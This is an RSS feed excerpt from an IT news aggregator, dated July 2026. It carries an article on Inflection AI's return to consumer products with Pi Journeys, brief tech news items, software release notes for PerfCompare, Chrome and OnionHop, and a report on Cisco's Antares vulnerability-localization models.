<content:encoded><![CDATA[<p><a href="https://inflection.ai/">Inflection AI</a>, the Palo Alto startup that two years ago became Silicon Valley's most famous cautionary tale about the brutal economics of frontier AI, announced Tuesday that it is returning to the consumer market with a new research division and an experimental product built around a provocative thesis: the next competitive battleground in AI won't be raw intelligence, but relationships.</p><p>The company launched <a href="https://inflection.ai/labs">Inflection AI Labs</a>, a public-facing research and experimentation arm, alongside <a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a>, the lab's first product experiment — an AI experience designed to adapt to a user's life stage, whether that's becoming a parent, taking on caregiving duties, changing careers, or aging. The announcement arrived with a research report on consumer AI habits and a substantial update to Pi, the company's flagship chatbot, adding improved voice, memory, and new agentic tools for reminders, to-do lists, and shopping.</p><p>"Inflection AI is the company. Pi is our flagship consumer product. Inflection AI Labs is where we experiment, explore personal intelligence and share more publicly. Pi Journeys is the first public experiment from Inflection AI Labs," CEO Sean White told VentureBeat in an exclusive interview.</p><p>Behind the tidy org chart is a far more interesting story: a company attempting one of the more unusual second acts in the AI industry, powered by an argument that the entire market is optimizing for the wrong thing.</p><h2><b>Why Inflection AI believes the chatbot era's biggest flaw is that it's transactional</b></h2><p>White's central claim is that today's AI assistants — including the industry's most capable models — are fundamentally transactional. You ask, they answer, the session ends. He believes that architecture misses most of what people actually need from artificial intelligence in their daily lives.</p><p>"One of the things that really struck us in particular, and this showed up in the research, was that a lot of the work is very transactional, and you'll hear me say a lot that we've been shifting all this from transactional to relational systems," White said. "Not everything is going to be: I do a single turn, I utter a question, I get a search response back."</p><p>White frames the industry's evolution as a progression through four kinds of intelligence. First came raw IQ — the foundation model race. Then emotional intelligence, which Inflection made its signature with Pi's famously warm conversational style. Then agentic intelligence — AI that acts rather than just talks — which White says Inflection absorbed from its enterprise work. The fourth, and the one Inflection is now staking its future on, is what the company calls relational intelligence: AI that understands not just you, but the web of people around you.</p><p>"There's so much fear about these things pushing people into loneliness,” White said. “If we design these pro-social systems as another design criteria, that actually makes a huge difference."</p><p>That design philosophy is a pointed counter-narrative to one of the loudest anxieties in consumer AI right now: that <a href="https://www.media.mit.edu/articles/chatgpt-may-be-making-us-lonelier/">emotionally engaging chatbots deepen isolation</a> by substituting for human contact. Inflection argues the opposite is possible — that an AI with structured knowledge of your relationships can push you back toward people rather than away from them.</p><h2><b>Inside Pi Journeys, the AI companion that maps your relationships and life stages</b></h2><p><a href="https://inflection.ai/labs/pi-journeys">Pi Journeys</a> makes that idea concrete. When users first open the product, it asks about their life stage — caregiver, household manager, midlife transition — and then builds what White describes as specially structured memory around the people who matter in that context. From there, the system becomes proactive.</p><p>"It starts to build up memories around that, and it acts as a memory prosthetic — but in a pro-social way," White said. "It doesn't get in the way of your interactions with other people; it really helps facilitate them." The system might remind a user, for example, that a friend deserves a call, or resurface what was last discussed with a family member involved in a parent's care.</p><p>White, who spent years as chief R&amp;D officer at Mozilla before taking Inflection's helm, was quick to flag the obvious privacy implications of an AI that maps your social graph. "We've built a lot of privacy systems into this," he said, noting users can delete and manage the people recorded in their profile. Whether consumers will trust a venture-backed AI company with a structured database of their most important relationships remains one of the biggest open questions hanging over the product — and one that enterprise buyers evaluating Inflection's technology will watch closely.</p><p>Asked why this was the first Labs experiment, White was direct: "Pi Journeys takes into account people's life stages and experiences because we have heard from users that we can provide more value in helping them navigate their lives. Pi Journeys lets us experiment with the early stages of prosocial and relational intelligence because life isn't single-player."</p><p>The product has been tested internally and with small closed groups, White said, and is now being released more broadly as an experiment rather than a finished product — a posture the Labs branding is designed to make explicit.</p><h2><b>What Inflection's consumer AI research reveals about how people actually use chatbots</b></h2><p>Inflection Labs' first publication, the <a href="https://inflection.ai/state-of-consumer-ai-2026">State of Consumer AI Research Report</a>, offers the empirical scaffolding for the strategy. The average consumer now uses roughly two different AI tools every day and three per week, the company found — evidence, in Inflection's reading, that no single assistant has locked up consumer loyalty and that the market remains contestable.</p><p>More telling is why people choose the tools they do. Respondents cited personalization, style and tone, context awareness, and — notably — emotional understanding as deciding factors. They also said they want AI to be more than a productivity engine: a coach or mentor to motivate them, a chef to suggest recipes, a DJ to curate playlists.</p><p>"One thing we're certainly finding is that a lot of that also is in work, not so much in everyday life," White said. "That's our focus right now — the everyday life part."</p><p>This is a shrewd reading of the competitive map. The best-funded AI labs are pouring resources into coding tools, enterprise agents, and developer platforms, leaving everyday consumer use cases comparatively underserved. White sees the gap clearly. "We see a lot of products that are being aimed more and more at the enterprise," he said. "As a computer scientist by training, I kind of love the IDEs as this tool, but it's not really great for everybody. There's so much regular everyday use from folks that is either purely voice or that is purely mobile."</p><p>He recalled a conversation with a conference staffer who told him she owned only a phone, no laptop — exactly the kind of user, he argued, that the industry's developer-centric product roadmaps have left behind.</p><h2><b>How the $650 million Microsoft deal hollowed out Inflection — and set up its second act</b></h2><p>To understand why any of this is remarkable, you have to rewind to March 2024. Inflection was then one of the hottest startups in AI, having <a href="https://www.reuters.com/technology/inflection-ai-raises-13-bln-funding-microsoft-others-2023-06-29/">raised $1.3 billion in mid-2023</a> in a round backed by Microsoft, Nvidia, Bill Gates, and Reid Hoffman — more than $1.5 billion in total. Pi had crossed one million daily active users, per Reuters.</p><p>Then, in a deal that reshaped how the industry thinks about acqui-hires, Microsoft hired away co-founder and CEO Mustafa Suleyman, chief scientist Karén Simonyan, and most of the company's roughly 70 employees, paying Inflection about $650 million largely to license its technology, as <a href="https://www.bloomberg.com/news/articles/2024-03-21/microsoft-to-pay-inflection-ai-650-million-after-scooping-up-most-of-staff">Reuters reported</a>. Suleyman now runs Microsoft's consumer AI business. The structure of the deal drew scrutiny from the FTC and Britain's competition regulator, though the UK's Competition and Markets Authority cleared it in September 2024 and EU regulators declined to act.</p><p>White, installed as CEO in the aftermath, steered the remnant company hard toward enterprise, acquiring three startups in late 2024 — <a href="http://jelled.ai/">Jelled.AI</a>, <a href="https://boostkpi.com/">BoostKPI</a>, and the European consulting firm <a href="https://www.boundaryless.com/">Boundaryless</a> — and <a href="https://techcrunch.com/2024/11/26/inflection-ceo-says-its-done-competing-to-make-next-generation-ai-models/">telling TechCrunch</a> that November that Inflection had no intention of competing with companies building 100,000-GPU frontier systems.</p><p>Tuesday's announcement doesn't reverse that position so much as complicate it. Asked how to think about the company today, White called it "a consumer-first strategy that bridges both consumer and enterprise efforts" — and he insists the two sides feed each other.</p><p>Enterprise deployments, including a partnership with Intel that is among the few he can name publicly, taught Inflection how to run models inside complex infrastructure. Consumer products, meanwhile, let the company iterate at speed. "The part I also like about the consumer side, and this has always been true, is that we can move faster, experiment faster, and try and learn faster," White said.</p><h2><b>The six-month prediction: relationship-aware AI is coming to the enterprise</b></h2><p>Buried in White's consumer pitch is the claim that should matter most to technical decision-makers. "Normally I'd say like a year, but let's call it six months," he said. "You're going to start to see a bunch of enterprises care a lot more about the relationships that are inside the enterprises and what that picture is, not just the workflows."</p><p>If White is right, the wave of workflow-automation agents currently flooding the enterprise market is only the first phase of business AI adoption — with relationship-aware systems, tested first on consumers, following close behind. Inflection is essentially using its consumer products as a live laboratory for capabilities it plans to sell into companies. It's a capital-efficient strategy for a firm that can no longer outspend rivals on training runs, and a risky one, since it depends on consumers showing up in numbers large enough to generate the learning.</p><p>The technical substance underneath is equally pragmatic. Pi today runs not on a single proprietary frontier model but on an orchestration layer routing across many models — some descended from Inflection's original fully trained cores, some fine-tuned, some open source, including work with Nvidia that White says gives Inflection access to unreleased cutting-edge models. He also took a swipe at the industry's loose vocabulary around ownership: "When people say that the model is their own, most of the time nowadays — I guess I won't name names — a lot of companies will actually take a checkpoint, and then they will fine-tune from that checkpoint. But very few people actually start from that beginning core."</p><p>That candor extends to open source, where White carefully hedged. "We're not ready to promise what I think of as true open source, and by that I mean everything," he said, invoking his Mozilla years overseeing genuinely open projects like <a href="https://rust-lang.org/">Rust</a> and <a href="https://webassembly.org/">WebAssembly</a>.</p><p>Weights without training data and pipelines, he argued, often leave developers unable to do anything meaningful with a supposedly "open" model. "We are a PBC, and there's still a C in there," he added — a reminder that public benefit corporations still have businesses to protect. The Labs will collaborate with academic researchers, including Stanford professors who visited the company's Palo Alto office this week, and continue contributing to open projects such as <a href="https://pytorch.org/">PyTorch</a>.</p><h2><b>Can a diminished Inflection compete with AI giants spending billions?</b></h2><p>Reid Hoffman, the LinkedIn co-founder who co-founded Inflection and stayed on through the Microsoft upheaval, framed the announcement in the sweeping terms of his recent writing on AI and human agency. "Humans should be amplified by AI, not replaced. That's the principle Pi was built on," <a href="https://finance.yahoo.com/technology/ai/articles/inflection-ai-shaping-future-personal-130000573.html">Hoffman said</a> in the announcement. "When that kind of agency is available to everyone, you get superagency."</p><p>The skeptic's case is easy to make. Inflection is a fraction of its former size, competing for consumer attention against products from companies spending tens of billions of dollars a year. Pi's model was state of the art in 2023; it is not in 2026. And "<a href="https://www.linkedin.com/posts/inflectionai_inflection-ai-is-shaping-the-future-of-personal-activity-7485407087926312960-fqCl/">relational intelligence</a>" is, for now, a brand claim awaiting proof.</p><p>But the bull case is not crazy either. Inflection's own research shows consumers already juggle multiple AI tools and choose them for qualities — tone, emotional understanding, personalization — that frontier labs treat as afterthoughts. The company kept its technology, its Microsoft licensing windfall, and a defensible enterprise niche in on-premise, emotionally intelligent deployments. And it is targeting the one consumer segment — everyday, mobile-first, voice-first life management — that the coding-obsessed giants have largely ignored.</p><p>Asked what success looks like twelve months from now, White declined to talk numbers. "It's less about scale for scale's sake and more about scaling for impact by empowering people and improving their lives," he said. "Over the next year, success means leading the market towards relational intelligence and transforming AI interactions from transactional to relational."</p><p>Two years ago, Microsoft walked away with Inflection's founders, its staff, and its shot at the frontier — but it left behind the one idea the giants still haven't figured out how to build: an AI that knows the people in your life matter more than the tasks on your list. Inflection is betting the company, again, that the idea was the valuable part all along.</p><p>
</p>]]></content:encoded>
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<title><![CDATA[Tesla spending skyrockets as Cybercab, Semi, Megapack production timeline slips]]></title>
<description><![CDATA[Tesla's 26% boost in revenue wasn't enough to offset rising operating expenses and capital expenditures as it pushes to launch a new generation of products.]]></description>
<link>https://tsecurity.de/de/3687573/it-nachrichten/tesla-spending-skyrockets-as-cybercab-semi-megapack-production-timeline-slips/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687573/it-nachrichten/tesla-spending-skyrockets-as-cybercab-semi-megapack-production-timeline-slips/</guid>
<pubDate>Wed, 22 Jul 2026 22:58:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tesla's 26% boost in revenue wasn't enough to offset rising operating expenses and capital expenditures as it pushes to launch a new generation of products.]]></content:encoded>
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<title><![CDATA[Firefox Tooling Announcements: July 22nd Deploy]]></title>
<description><![CDATA[The latest version of PerfCompare is now live!
Check out the change-log below to see the updates:
[kala-moz]


Add KdeModesPanel to expanded view (#1052)


Dark Mode Bugs Fix (#1063)


Bug 2037556: simplify wording of tooltip text for CD and CLES; fix dark mode links in tooltips (#1067)


[moijes...]]></description>
<link>https://tsecurity.de/de/3687479/tools/firefox-tooling-announcements-july-22nd-deploy/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687479/tools/firefox-tooling-announcements-july-22nd-deploy/</guid>
<pubDate>Wed, 22 Jul 2026 21:57:25 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The latest version of<a href="https://perf.compare/" rel="noopener nofollow ugc"> PerfCompare</a> is now live!</p>
<p>Check out the change-log below to see the updates:</p>
<p>[kala-moz]</p>
<ul>
<li>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295837-add-kdemodespanel-to-expanded-view-httpsgithubcommozillaperfcomparecommit76d5aa423322c62c7345270307c026cc65e03e081052httpsgithubcommozillaperfcomparepull1052httpsgithubcommozillaperfcomparecommit76d5aa423322c62c7345270307c026cc65e03e08-1" name="p-295837-add-kdemodespanel-to-expanded-view-httpsgithubcommozillaperfcomparecommit76d5aa423322c62c7345270307c026cc65e03e081052httpsgithubcommozillaperfcomparepull1052httpsgithubcommozillaperfcomparecommit76d5aa423322c62c7345270307c026cc65e03e08-1"></a><strong><a href="https://github.com/mozilla/perfcompare/commit/76d5aa423322c62c7345270307c026cc65e03e08" rel="noopener nofollow ugc">Add KdeModesPanel to expanded view (</a><a href="https://github.com/mozilla/perfcompare/pull/1052" rel="noopener nofollow ugc">#1052</a><a href="https://github.com/mozilla/perfcompare/commit/76d5aa423322c62c7345270307c026cc65e03e08" rel="noopener nofollow ugc">)</a></strong></h4>
</li>
<li>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295837-dark-mode-bugs-fix-httpsgithubcommozillaperfcomparecommite06a7a17685f3803b7889ad4307ecdf187655d801063httpsgithubcommozillaperfcomparepull1063httpsgithubcommozillaperfcomparecommite06a7a17685f3803b7889ad4307ecdf187655d80-2" name="p-295837-dark-mode-bugs-fix-httpsgithubcommozillaperfcomparecommite06a7a17685f3803b7889ad4307ecdf187655d801063httpsgithubcommozillaperfcomparepull1063httpsgithubcommozillaperfcomparecommite06a7a17685f3803b7889ad4307ecdf187655d80-2"></a><strong><a href="https://github.com/mozilla/perfcompare/commit/e06a7a17685f3803b7889ad4307ecdf187655d80" rel="noopener nofollow ugc">Dark Mode Bugs Fix (</a><a href="https://github.com/mozilla/perfcompare/pull/1063" rel="noopener nofollow ugc">#1063</a><a href="https://github.com/mozilla/perfcompare/commit/e06a7a17685f3803b7889ad4307ecdf187655d80" rel="noopener nofollow ugc">)</a></strong></h4>
</li>
<li>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295837-bug-2037556-simplify-wording-of-tooltip-text-for-cd-and-cles-fix-dark-mode-links-in-tooltips-httpsgithubcommozillaperfcomparecommit1aaa46f08e2c620abd3e79c58e83bbc65c08234e1067httpsgithubcommozillaperfcomparepull1067httpsgithubcommozillaperfcomparecommit1aaa46f08e2c620abd3e79c58e83bbc65c08234e-3" name="p-295837-bug-2037556-simplify-wording-of-tooltip-text-for-cd-and-cles-fix-dark-mode-links-in-tooltips-httpsgithubcommozillaperfcomparecommit1aaa46f08e2c620abd3e79c58e83bbc65c08234e1067httpsgithubcommozillaperfcomparepull1067httpsgithubcommozillaperfcomparecommit1aaa46f08e2c620abd3e79c58e83bbc65c08234e-3"></a><strong><a href="https://github.com/mozilla/perfcompare/commit/1aaa46f08e2c620abd3e79c58e83bbc65c08234e" rel="noopener nofollow ugc">Bug 2037556: simplify wording of tooltip text for CD and CLES; fix dark mode links in tooltips (</a><a href="https://github.com/mozilla/perfcompare/pull/1067" rel="noopener nofollow ugc">#1067</a><a href="https://github.com/mozilla/perfcompare/commit/1aaa46f08e2c620abd3e79c58e83bbc65c08234e" rel="noopener nofollow ugc">)</a></strong></h4>
</li>
</ul>
<p>[moijes]</p>
<ul>
<li>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295837-bug-1986319-auto-select-for-partial-or-full-hash-matches-httpsgithubcommozillaperfcomparecommit89f09ac283790f351014f6d7dd9053305792aac11066httpsgithubcommozillaperfcomparepull1066httpsgithubcommozillaperfcomparecommit89f09ac283790f351014f6d7dd9053305792aac1-4" name="p-295837-bug-1986319-auto-select-for-partial-or-full-hash-matches-httpsgithubcommozillaperfcomparecommit89f09ac283790f351014f6d7dd9053305792aac11066httpsgithubcommozillaperfcomparepull1066httpsgithubcommozillaperfcomparecommit89f09ac283790f351014f6d7dd9053305792aac1-4"></a><strong><a href="https://github.com/mozilla/perfcompare/commit/89f09ac283790f351014f6d7dd9053305792aac1" rel="noopener nofollow ugc">Bug 1986319: Auto-select for partial or full hash matches (</a><a href="https://github.com/mozilla/perfcompare/pull/1066" rel="noopener nofollow ugc">#1066</a><a href="https://github.com/mozilla/perfcompare/commit/89f09ac283790f351014f6d7dd9053305792aac1" rel="noopener nofollow ugc">)</a></strong></h4>
</li>
</ul>
<p>[sumairq]</p>
<ul>
<li>
<h4><a class="anchor" href="https://discourse.mozilla.org/#p-295837-bug-1855186httpsbugzillamozillaorgshow_bugcgiid1855186-show-whether-lower-or-higher-is-better-for-each-metric-httpsgithubcommozillaperfcomparecommita6b5a71be28f10f74dde860675d747054c4041121051httpsgithubcommozillaperfcomparepull1051httpsgithubcommozillaperfcomparecommita6b5a71be28f10f74dde860675d747054c404112-5" name="p-295837-bug-1855186httpsbugzillamozillaorgshow_bugcgiid1855186-show-whether-lower-or-higher-is-better-for-each-metric-httpsgithubcommozillaperfcomparecommita6b5a71be28f10f74dde860675d747054c4041121051httpsgithubcommozillaperfcomparepull1051httpsgithubcommozillaperfcomparecommita6b5a71be28f10f74dde860675d747054c404112-5"></a><strong><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1855186">Bug-1855186</a><a href="https://github.com/mozilla/perfcompare/commit/a6b5a71be28f10f74dde860675d747054c404112" rel="noopener nofollow ugc">: Show whether lower or higher is “better” for each metric (</a><a href="https://github.com/mozilla/perfcompare/pull/1051" rel="noopener nofollow ugc">#1051</a><a href="https://github.com/mozilla/perfcompare/commit/a6b5a71be28f10f74dde860675d747054c404112" rel="noopener nofollow ugc">)</a></strong></h4>
</li>
</ul>
<p>Thank you for the contributions!</p>
<p>Bugs or feature requests can be<a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Testing&amp;component=PerfCompare&amp;status_whiteboard=%5Bpcf%5D"> filed on Bugzilla</a>. The team can also be found on<a href="https://matrix.to/#/%23perfcompare:mozilla.org" rel="noopener nofollow ugc"> the #perfcompare channel on Element</a>. Come and chat!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/july-22nd-deploy/149012">Read full topic</a></p>]]></content:encoded>
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<title><![CDATA[Ohio, Neighboring States Safeguard Electric Customers]]></title>
<description><![CDATA[The states are taking steps to ensure residents and small businesses will not bear the brunt of data center power and infrastructure costs. Measures include longer financial commitments from the facilities.]]></description>
<link>https://tsecurity.de/de/3687397/ai-nachrichten/ohio-neighboring-states-safeguard-electric-customers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687397/ai-nachrichten/ohio-neighboring-states-safeguard-electric-customers/</guid>
<pubDate>Wed, 22 Jul 2026 21:04:06 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The states are taking steps to ensure residents and small businesses will not bear the brunt of data center power and infrastructure costs. Measures include longer financial commitments from the facilities.]]></content:encoded>
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<title><![CDATA[Early Stable Update for Desktop]]></title>
<description><![CDATA[ The Stable channel has been updated to 151.0.7922.47/.48 for Windows and Mac as part of our early stable release to a small percentage of users. A full list of changes in this build is available in the log.You can find more details about early Stable releases here.Interested in switching release...]]></description>
<link>https://tsecurity.de/de/3687356/it-security-nachrichten/early-stable-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687356/it-security-nachrichten/early-stable-update-for-desktop/</guid>
<pubDate>Wed, 22 Jul 2026 20:58:54 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p> <span>The Stable channel has been updated to </span><span>151.0.7922.47/.48</span><span> for Windows and</span><span> </span><span>Mac </span><span>as part of our early stable release to a <span>small percentage of users. </span>A full list of changes in this build is available in the</span><span> </span><span color="rgba(0, 0, 0, 0.87)"><a href="https://chromium.googlesource.com/chromium/src/+log/151.0.7922.34..151.0.7922.48?pretty=fuller&amp;n=10000">log</a></span><span>.</span></p><div class="post-body"><div class="post-content post-original" itemprop="articleBody"><div class="post-body"><div class="post-content post-original" itemprop="articleBody"><p dir="ltr"><span><span>You can find more details about early Stable releases </span><a href="https://developer.chrome.com/blog/early-stable/"><span>here</span></a><span>.</span></span></p><p dir="ltr"><span>Interested in switching release channels?  Find out how </span><a href="https://www.chromium.org/getting-involved/dev-channel"><span>here</span></a><span>. If you find a new issue, please let us know by </span><a href="https://crbug.com/"><span>filing a bug</span></a><span>. </span><span>The </span><a href="https://support.google.com/chrome/community"><span>community help forum</span></a><span> is also a great place to reach out for help or learn about common issues.</span></p><p><span color="rgba(0, 0, 0, 0.87)"><br></span></p><p dir="ltr"><span>Daniel Yip</span></p><p dir="ltr"><span>Google Chrome</span></p></div></div></div></div>]]></content:encoded>
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<title><![CDATA[OnionHop 3.7.3]]></title>
<description><![CDATA[A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.
Fixed

Clearer log when the transport can't reach reachable bridges. If a bridged connect fails after the reachability scan found bridges reachable but the transp...]]></description>
<link>https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687272/it-security-tools/onionhop-373/</guid>
<pubDate>Wed, 22 Jul 2026 20:29:09 +0200</pubDate>
<category>💾 IT Security Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A small diagnostics release: when bridges are reachable but the transport still can't connect, the log now points at the likely cause.</p>
<h3>Fixed</h3>
<ul>
<li><strong>Clearer log when the transport can't reach reachable bridges.</strong> If a bridged connect fails after the reachability scan found bridges reachable but the transport could not connect to any of them, the log now names the likely cause: a firewall or security tool blocking OnionHop's transport helper (lyrebird / webtunnel-client), or bridges that are dead at the protocol layer. Previously this appeared only as an unexplained wall of "general SOCKS server failure" (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4860810567" data-permission-text="Title is private" data-url="https://github.com/center2055/OnionHop/issues/74" data-hovercard-type="issue" data-hovercard-url="/center2055/OnionHop/issues/74/hovercard" href="https://github.com/center2055/OnionHop/issues/74">#74</a>).</li>
</ul>
<h3>Downloads</h3>
<table>
<thead>
<tr>
<th align="left">Platform</th>
<th align="left">File</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">Windows installer</td>
<td align="left"><code>OnionHop-Setup-v3.exe</code></td>
</tr>
<tr>
<td align="left">Windows portable</td>
<td align="left"><code>OnionHopV3-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Windows CLI</td>
<td align="left"><code>OnionHop-CLI-Setup-3.7.3.exe</code> / <code>OnionHopCLI-Portable-3.7.3-win-x64.zip</code></td>
</tr>
<tr>
<td align="left">Linux</td>
<td align="left"><code>OnionHop-x86_64.AppImage</code></td>
</tr>
<tr>
<td align="left">Linux CLI</td>
<td align="left"><code>OnionHopCLI-3.7.3-linux-x64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS (Apple Silicon)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-arm64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS (Intel)</td>
<td align="left"><code>OnionHop-3.7.3-macOS-x64.dmg</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Apple Silicon)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-arm64.tar.gz</code></td>
</tr>
<tr>
<td align="left">macOS CLI (Intel)</td>
<td align="left"><code>OnionHopCLI-3.7.3-macos-x64.tar.gz</code></td>
</tr>
</tbody>
</table>]]></content:encoded>
</item>
<item>
<title><![CDATA[Yope raises $12.3M to build a private social network without algorithms or ads]]></title>
<description><![CDATA[Yope, a fast-growing social app focused on private groups of friends and family, has raised $12.3 million in seed funding. Instead of chasing creators and algorithmic feeds, the startup is betting that the future of social networking lies in small, private communities powered by messaging, photo ...]]></description>
<link>https://tsecurity.de/de/3687233/it-nachrichten/yope-raises-123m-to-build-a-private-social-network-without-algorithms-or-ads/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687233/it-nachrichten/yope-raises-123m-to-build-a-private-social-network-without-algorithms-or-ads/</guid>
<pubDate>Wed, 22 Jul 2026 20:17:57 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Yope, a fast-growing social app focused on private groups of friends and family, has raised $12.3 million in seed funding. Instead of chasing creators and algorithmic feeds, the startup is betting that the future of social networking lies in small, private communities powered by messaging, photo sharing, and AI features designed to strengthen real-world relationships.]]></content:encoded>
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<title><![CDATA[Cisco’s new AI model tells code reviewers where to look for vulnerabilities]]></title>
<description><![CDATA[Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebas...]]></description>
<link>https://tsecurity.de/de/3687085/ai-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687085/ai-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 19:05:41 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.</p>



<p class="wp-block-paragraph">Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.</p>



<p class="wp-block-paragraph">“Its purpose is to reduce a large codebase to a focused set of files that a security professional or a downstream security workflow should investigate,” Cisco’s AI researcher <a href="https://www.linkedin.com/in/supriti-vijay/" target="_blank" rel="noreferrer noopener">Supriti Vijay</a> said via email. “The goal is not to replace a security engineer’s judgement or send them on a wild-goose chase, but to reduce fatigue and workload by helping them triage an issue earlier and focus their investigation on the most relevant parts of the codebase.”</p>



<p class="wp-block-paragraph">The Antares family consists of models with 350 million, 1 billion, and 3 billion parameters trained specifically for repository-scale vulnerability localization.</p>



<p class="wp-block-paragraph">The company said its largest model approaches the performance of GPT-5.5 on its internal vulnerability localization (Vloc) benchmark while remaining small enough for low-cost local deployment.</p>



<h2 class="wp-block-heading">A search assistant, not a vulnerability detector</h2>



<p class="wp-block-paragraph">Cisco is careful to define what Antares is, and what it is not.</p>



<p class="wp-block-paragraph">“Antares outputs a ranked list of source files likely to contain a relevant vulnerability, along with the terminal exploration trace that led to that result,” Cisco Foundation AI Chief Scientist <a href="https://www.linkedin.com/in/amin-karbasi-5025335/" target="_blank" rel="noreferrer noopener">Amin Karbasi</a> wrote in a blog post, adding that the models are not meant to replace the broader application security toolchain: Human analysts or downstream security tools will still be needed to confirm exploitability, <a href="https://www.infoworld.com/article/4200083/gitlab-previews-auto-remediation-of-vulnerable-dependencies.html">identify vulnerable lines of code</a>, assess severity and generate fixes.</p>



<p class="wp-block-paragraph">Antares differs from conventional static analysis platforms such as Semgrep or CodeQL, which primarily rely on predefined rules or queries. Cisco instead describes Antares as an evidence-driven exploration agent that adapts its search as it traverses the repository.</p>



<p class="wp-block-paragraph">Cisco’s argument is that large repositories often contain thousands of files, making manual reviews exhaustive and unrealistic. By reducing the search space to a manageable shortlist, the company hopes to reduce investigation fatigue without replacing human judgement.</p>



<h2 class="wp-block-heading">Claims of specialization over scale</h2>



<p class="wp-block-paragraph">Cisco is also making a statement about how cybersecurity models should evolve.</p>



<p class="wp-block-paragraph">Instead of pursuing larger foundational models, Cisco argued that specialized, task-trained models can outperform much larger open-weight alternatives for vulnerability localization. In its evaluation Antares-3B, the largest model intended for single-GPU deployments, produced results comparable to GPT-5.5 while outperforming several substantially larger open models by Google, OpenAI and Meta.</p>



<p class="wp-block-paragraph">The family also includes Antares-350M for resource-constrained environments and Antares-1B for laptops and workstations, which Cisco has made available as open-weight models on Hugging Face.</p>



<p class="wp-block-paragraph">The command line interface (CLI) on the models supports targeted CWE investigations, repository-wide scans, SARIF output and local inference, which Cisco said enables organizations to keep proprietary code inside their own trust boundary.</p>



<p class="wp-block-paragraph">However, because Antares identifies candidate files rather than confirmed vulnerabilities, organizations will still need to understand how often such repository-wide searches should be run, how much they improve existing triage workflows, and whether the reduction in investigation effort ultimately translates into measurable security or cost benefits.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Cisco’s new AI model tells code reviewers where to look for vulnerabilities]]></title>
<description><![CDATA[Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.



Rather than detecting a specific CVE or generating a patch, these models search a codebas...]]></description>
<link>https://tsecurity.de/de/3687065/it-security-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3687065/it-security-nachrichten/ciscos-new-ai-model-tells-code-reviewers-where-to-look-for-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 18:54:39 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Cisco has revealed a family of open-weight AI models called Antares that, it said, can help security teams isolate potentially vulnerable parts of a software repository before deeper investigation begins.</p>



<p class="wp-block-paragraph">Rather than detecting a specific CVE or generating a patch, these models search a codebase using only a Common Weakness Enumeration (CWE) description and return the files most likely to contain that class of vulnerability.</p>



